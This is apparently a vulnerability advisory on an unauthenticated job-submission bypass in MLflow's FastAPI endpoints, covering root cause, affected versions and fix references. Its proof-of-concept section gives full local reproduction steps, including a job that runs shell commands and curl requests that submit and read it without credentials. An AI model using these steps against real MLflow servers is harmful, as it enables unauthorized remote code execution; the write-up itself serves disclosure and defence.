Introduction
An authentication bypass in MLflow's FastAPI job endpoints allows any unauthenticated network client to submit and execute arbitrary jobs on servers configured with basic auth, effectively turning a "protected" MLflow deployment into an open execution platform. With a CVSS score of 9.1 and a trivially simple exploitation path, this vulnerability represents a serious risk for organizations running MLflow in production environments where job execution is enabled.
MLflow is a widely adopted open source platform for managing the machine learning lifecycle, including experimentation, reproducibility, deployment, and a central model registry. Originally introduced by Databricks in 2018, it has become a foundational tool across the AI/ML engineering ecosystem, used by thousands of organizations to track experiments and manage model deployments.
Technical Information
The vulnerability originates in how MLflow's authentication middleware handles routing for FastAPI endpoints versus traditional Flask endpoints. When the server is started with --app-name basic-auth, Flask routes correctly enforce authentication and return 401 responses to unauthenticated requests. However, FastAPI routes under /ajax-api/3.0/jobs/* bypass authentication entirely and return 200 OK responses without credentials.
Root Cause
The architectural root cause is in the _find_fastapi_validator() function located in mlflow/server/auth/__init__.py. This function is responsible for selecting the appropriate authentication validator based on the request path. The vulnerable implementation only returned a validator for paths beginning with /gateway/, and returned None for all other FastAPI routes:
def _find_fastapi_validator(path): if path.startswith("/gateway/"): return _get_gateway_validator(path) return None # <-- No auth check for non-gateway FastAPI routes!
When the validator is None, the authentication middleware simply calls await call_next(request) without performing any authentication check, allowing the request to proceed to the endpoint handler unauthenticated.
This gap is compounded by two additional architectural issues. First, in fastapi_app.py, the job_api_router is included in the FastAPI application without any authentication dependencies. Second, the security initialization in fastapi_security.py only configures Cross Origin Resource Sharing, host validation, and security headers; it does not enforce authentication.
Scope of the Bypass
The authentication bypass extends beyond the Job API. The same flaw affects:
- The OTEL Traces API at
/v1/traces, allowing unauthenticated injection of trace data - The Assistant API at
/ajax-api/3.0/mlflow/assistant/*
Any FastAPI route that does not start with /gateway/ was left unprotected.
Exploitation Prerequisites
For successful exploitation, two server configuration conditions must be met:
- Server side job execution must be enabled via the
MLFLOW_SERVER_ENABLE_JOB_EXECUTION=trueenvironment variable. - At least one job function must be allowlisted using either the supported job function list or the allowed job name list.
Attack Flow
Once these conditions are satisfied, the attack is straightforward:
- The attacker sends a POST request with a JSON payload containing the job name and parameters to the
/ajax-api/3.0/jobs/endpoint, without any Authorization header. - The authentication middleware calls
_find_fastapi_validator(), which returnsNonefor this path. - The middleware skips authentication and forwards the request to the job handler.
- The server executes the job and returns a job ID in a 200 OK response.
- The attacker uses the job ID to fetch execution results via a GET request to
/ajax-api/3.0/jobs/<job_id>, again without credentials.
If the allowlisted job performs privileged actions such as shell command execution or filesystem modifications, this chain results in unauthenticated remote code execution. Even if the jobs are considered safe, the bypass still enables job spam, denial of service, and data exposure through job results.
Proof of Concept
A public proof of concept is available via the Huntr bounty report. The following reproduction steps demonstrate the complete exploitation chain.
Step 1: Set up the environment and a demo job function
TEST_ROOT=/tmp/mlflow_job_clean rm -rf "$TEST_ROOT" mkdir -p "$TEST_ROOT/artifacts" "$TEST_ROOT/logs" cat > "$TEST_ROOT/basic_auth.ini" <<'INI' [mlflow] default_permission = NO_PERMISSIONS database_uri = sqlite:////tmp/mlflow_job_clean/basic_auth.db admin_username = admin admin_password = password1234 authorization_function = mlflow.server.auth:authenticate_request_basic_auth INI cat > "$TEST_ROOT/demo_job.py" <<'PY' from mlflow.server.jobs import job import subprocess @job(name="run_task", max_workers=1) def run_task(command="id"): return subprocess.check_output(command, shell=True).decode() PY
Step 2: Start MLflow server with basic auth and job execution enabled
MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_job_clean/basic_auth.ini \ MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key \ MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true \ _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task \ _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task \ PYTHONPATH=/tmp/mlflow_job_clean \ mlflow server --app-name=basic-auth --host 127.0.0.1 --port 5590 \ --backend-store-uri sqlite:////tmp/mlflow_job_clean/backend.db \ --default-artifact-root /tmp/mlflow_job_clean/artifacts
Step 3: Confirm Flask routes enforce authentication (returns 401)
API=http://127.0.0.1:5590 curl -i "$API/api/2.0/mlflow/experiments/list" # => 401 Not authenticated
Step 4: Submit a job WITHOUT any Authorization header (returns 200)
curl -i -H "Content-Type: application/json" \ -d '{"job_name":"run_task","params":{"command":"id"}}' \ "$API/ajax-api/3.0/jobs/" # => 200 with job_id — authentication bypassed!
Step 5: Read the job result WITHOUT Authorization
JOB_ID=<job_id_from_step_4> curl -i "$API/ajax-api/3.0/jobs/$JOB_ID" # => 200 with result (e.g., output of the `id` command)
A second Huntr report also demonstrated that the bypass extends to OTEL trace injection at /v1/traces using a Python script that sends a forged protobuf ExportTraceServiceRequest without credentials, receiving a 200 response. The Assistant API at /ajax-api/3.0/mlflow/assistant/* is similarly affected.
Affected Systems and Versions
MLflow version 3.9.0 and earlier versions running under uvicorn (the default in MLflow 3.x) are affected. The vulnerability is present when all of the following conditions are met:
- The server is started with
--app-name basic-authto enable authentication - The
MLFLOW_SERVER_ENABLE_JOB_EXECUTIONenvironment variable is set totrue - At least one job function is allowlisted via
_MLFLOW_SUPPORTED_JOB_FUNCTION_LISTor_MLFLOW_ALLOWED_JOB_NAME_LIST
The OTEL Traces API and Assistant API bypass components do not require job execution to be enabled; they are exploitable on any MLflow instance using basic auth with the affected FastAPI routing.
Vendor Security History
An analysis of recent CVEs reveals a pattern of high severity security flaws in the MLflow platform:
| Vulnerability ID | Type | CVSS Score | Impact |
|---|---|---|---|
| CVE-2024-0520 | Path Traversal | 8.8 | Remote code execution via OS command injection |
| CVE-2025-11200 | Weak Password Requirements | 9.8 | Complete authentication bypass |
| CVE-2025-15036 | Path Traversal | 9.6 | Arbitrary file overwrite and privilege escalation |
| CVE-2026-0596 | Command Injection | 9.6 | Privilege escalation via model serving |
The frequency of critical vulnerabilities in MLflow highlights the necessity of deploying it behind robust security gateways and network segmentation rather than exposing it directly to the internet.
References
- NVD: CVE-2026-0545
- Huntr Bounty Report (raltheo): Authentication Bypass in Job API
- Huntr Bounty Report: OTEL Traces and Assistant API Bypass
- MLflow GitHub PR #20920: Fix for FastAPI Authentication Bypass
- MLflow Source: fastapi_app.py (vulnerable version)
- MLflow Source: fastapi_security.py (vulnerable version)
- MLflow Tracking Server Documentation
- MLflow: What is MLflow
- Databricks Blog: Introducing MLflow
- NVD: CVE-2024-0520
- NVD: CVE-2025-11200
- NVD: CVE-2025-15036
- NVD: CVE-2026-0596



